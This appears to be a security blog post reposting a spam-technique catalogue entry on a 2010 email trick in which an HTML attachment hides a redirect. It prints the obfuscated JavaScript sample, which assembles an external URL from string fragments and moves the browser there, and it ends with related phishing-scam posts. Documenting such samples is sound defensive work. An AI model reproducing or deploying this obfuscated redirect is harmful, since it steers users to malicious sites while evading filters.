New Spammer’s Compendium Entry:The Responsibility Transfer

Source: http://www.virusbtn.com/resources/spammerscompendium/responsibility.xml

The Responsibility Transfer

UO!Responsibility!JavaScript
31 August 2010

My company, Endpoint Cybersecurity, offers consulting on how to prepare for TISAX, ISO27001, NIS2, CSMS and SOC2 audits. It also works with companies to create and deploy a Secure Software Development Lifecycle, with various levels of AI support.
Get in touch with us here: https://www.endpoint-cybersecurity.com/contact/

Description

Using an attached HTML document that contains almost the same page as the HTML-part of the email body, but uses obfuscated JavaScript to redirect the user to a malicious website.

Submitted by Sorin Mustaca.

Example

<script>function r(){};fQ=false;d="";r.prototype = {p : function() { this.j='';var pN=54899;s=false;this.k="k";this.kH=22581;c='';l=64422;
document.location.href=String("htt"+"p:/"+"/tr"+"ace"+"boo"+"k.u"+"s/1"+".htOnc".substr(0,3)+"ml");
this.g=59634;var o=false;z='';f="f";e="";y=22487;}};x="";
var gK=false;var zA=new r(); pU='';this.u="u";zA.p();var lK=false;
</script>


© Copyright 2010 Sorin Mustaca, All rights Reserved. Written For: Sorin Mustaca - Security & Technology


Want to work with me on this topic?
Check Endpoint Cybersecurity to see the consulting services we offer.

Related Posts

Double Phishing: PayPal & eBay

Subject:PayPal & eBay From:”PayPal” Date:Thu, 6 Jul 2006 04:36:34 -0700 To:undisclosed-recipients:; This e-mail is the notification of PayPal Become One With eBay. We’re excited about this change because it allows us to offer you: * Easier access to all your account information* Enhanced Online Bill Payment My company, Endpoint Cybersecurity, offers consulting on how to […]

Stupid spammers

Don’t you just hate them ?! I do… They are just wasting my CPU power and bandwidth to detect such stupid evasion techniques. I mean… look at the picture below: Why the hack would I send to myself a picture with all kind of meds and then, write at the end some text from a […]

“There’s a new personal notification message special for ” – a scam for “Linked In”

“There’s a new personal notification message special for Sorin Mustaca” is the subject of the email pretending to come from “Automation LinkedInNotifier”. But then, why is it coming from “gci@grey.si” ? Come on spammers, you disappoint me 🙂 My company, Endpoint Cybersecurity, offers consulting on how to prepare for TISAX, ISO27001, NIS2, CSMS and SOC2 […]